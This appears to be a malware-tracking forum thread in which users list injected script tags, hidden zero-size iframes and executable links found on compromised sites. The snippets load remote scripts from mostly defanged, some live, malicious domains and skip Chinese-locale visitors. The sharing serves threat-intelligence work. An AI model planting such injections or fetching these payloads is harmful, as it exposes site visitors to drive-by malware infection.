just collection(about 0.js, 1.js, ip.js)

[sowhat-x]

He-he,seems to me like we drown in a glass of water...
and it turned out to be way simpler...thanks pcaccent 

[pcaccent]

suspicious

<script src=http://www.wowgm1.cn/m.js></script>
     if (navigator.systemLanguage=='zh-cn'){}
     else{document.writeln("<iframe src=hxxp://www.ririwow.cn/index.htm width=100 height=0></iframe>");}

[pcaccent]

<script src=hxxp://www.killwow1.cn/g.js></script>
      if (navigator.systemLanguage=='zh-cn'){}
      else{
      document.writeln("<iframe src=hxxp://www.killwow1.cn/cc/index.htm width="100" height="0"></iframe> ");
      }
            hxxp://www.qiuxuewow.cn/wow.exe

[JohnC]

Thank you.

www.wowyeye.cn/m.js

[pcaccent]

search yahoo.com

1. <script src=hxxp://vb008.cn/q.js></script> // closed


2. <script src=hxxp://chanm.cn/a.js></script>  // only china
    <script src=hxxp://sq1l.cn></script>  // only china

document.write("<iframe src=hxxp://www.too121.cn/61.htm width=0 height=0></iframe>");

3. <script src=hxxp://heartgames.cn/a.js></script>
    <script src=hxxp://heartgames.cn/1.js></script>

<script src=hxxp://www.ririwow.cn/jp.js></script>

4. hxxp://www.wowgm2.cn/m.js

if (navigator.systemLanguage=='zh-cn'){}
else{
document.writeln("<iframe src=hxxp://www.wowyeye.cn/index.htm width=100 height=0></iframe>");
}

=-==========================================
War of the worlds?
http://isc.sans.org/diary.html?storyid=4418

1. http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg2987#msg2987 : fu... cnn...
2. http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3016#msg3016 : if (navigator.systemLanguage=='zh-cn'){}else{document......
   http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3071#msg3071
   http://www.malwaredomainlist.com/forums/index.php?topic=1781.msg3075#msg3075

[pcaccent]

></title><script src=http://s.see9.us/s.js></script>

document.writeln("<IFRaME src=\"hxxp://b.kaobt.cn/img/hei.htm\" width=1 height=1><\/IFRAME>");

IFRaME src=\"hxxp://b.kaobt.cn/img/hei.htm\" width=1 height=1
iframe width=50 height=0 src=hxxp://b.kaobt.cn/14.htm
iframe width=100 height=0 src=hxxp://b.kaobt.cn/real11.htm
iframe style=display:none src=hxxp://b.kaobt.cn/lz.htm
iframe style=display:none src=hxxp://b.kaobt.cn/bfyy.htm
iframe width=50 height=0 src=xl.htm

hxxp://ccc.52gol.com/xx.exe

I don't know who made this script. but i think that he is genious!

[JohnC]

Thank you.

[pcaccent]

<script src=hxxp://www.qiqi111.cn/m.js></script>
<script src=hxxp://www.wow112.cn/m.js></script>
<script src=hxxp://www.adword71.com/b.js></script>

[pcaccent]

suspicious....

<script src=hxxp://www.banner82.com/b.js></script>
      hxxp://banner82.com/cgi-bin/index.cgi?ad

[JohnC]

Thank you.

[pcaccent]

suspicious site

<script src=hxxp://www.117275.cn/g.js></script>
<script src=hxxp://free.edivid.info/free.js></script>
<script src=hxxp://www.117275.cn/g.js></script>
<script src=hxxp://www.qiqigm.com/m.js></script>
<script src=hxxp://x.xxcnzz.cn/x.js></script>

[JohnC]

Thank you.

[pcaccent]

[/glow]suspicious sites
.
<script src=hxxp://www.killpp.cn/m.js></script>
.
0.js
<script src="hxxp://bc0.cn/1.js"></script>
.
1.js
<script src=hxxp://www.nihaoel3.com/1.js></script>
<script src=hxxp://17ge.cn/1.js></script>
<script src="hxxp://newasp.com.cn/1.js"></script>
<script src=hxxp://okey123.cn/1.js></script>
<script src="hxxp://smeisp.cn/images/163.js"></script>
<script src=hxxp://sb.5252.ws:88/107/1.js>
.
m.js
<script src=hxxp://www.dota11.cn/m.js></script>
<script src=hxxp://www.qiuxuegm.com/m.js></script>
.
g.js
<script src=hxxp://www.nihao112.com/g.js></script>

[JohnC]

Thank you.

[pcaccent]

<script src=hxxp://www.chliyi.com/m.js></script>
   -> hxxp://www.jj120.net/inc/fuckkr.exe

<script src=hxxp://www.adw95.com/b.js></script>